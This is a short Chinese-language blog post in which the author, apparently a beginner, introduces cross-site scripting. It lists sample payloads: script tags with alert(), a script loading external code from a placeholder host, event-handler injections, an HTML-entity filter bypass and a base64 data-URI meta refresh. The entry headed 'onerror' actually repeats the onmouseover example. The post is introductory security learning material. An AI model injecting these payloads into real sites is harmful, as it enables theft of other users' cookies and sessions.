xss 注入初体验

Xss 是一种跨站注入式的脚本攻击,XSS攻击者能够注入恶意脚本到网页中被其他用户浏览查看,使浏览者受到攻击。跨站脚本攻击可以使攻击者绕过访问控制,例如同源策略。这类攻击通常包含了HTML以及用户端脚本语言。

XSS一般指的利用网站开发时所留下的漏洞,通过一些巧妙的手段注入恶意代码到网页中,使用户加载并运行攻击者所构成的恶意代码。构成的恶意代码通常是JavaScript,也不乏包括其他脚本语言。代码成功执行后,攻击者一般可以获得高权限,比如截取Cookie,会话等内容。

今天意外了接触了XSS攻击,并自己实现了一次攻击,在这里不得不佩服那些攻击者,当然不包括我。攻击代码的构成有很多中,一般在中使用:

<script>alert(/xss/);</script>;
<script src="http://xxx.xx/xx.js"></script>

当然也在其他标签中使用:

<body onload=alert('test1')>

或者其他属性,例如 onmouseover,onerror。

onmouseover

<b onmouseover=alert('Wufff!')>click me</b>;

onerror

<b onmouseover=alert('Wufff!')>click me!</b>

XSS使用编码通过过滤机制

比如需要通过WEB应用程序的过滤,可以尝试通过编码代码的字符,比如 a= &#x41 (Utf-8),如:<img src="j&#X41vascript:alert('xss')">
不同的utf-8编码可以给我们更多可能性。

XSS使用BASE64编码

脚本代码以BASE64编码方式放置meta 标签,如此 alert() 就绕过了警报,此方法的更多信息请自行百度!

<meta HTTP-EQUIV="refresh"
content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">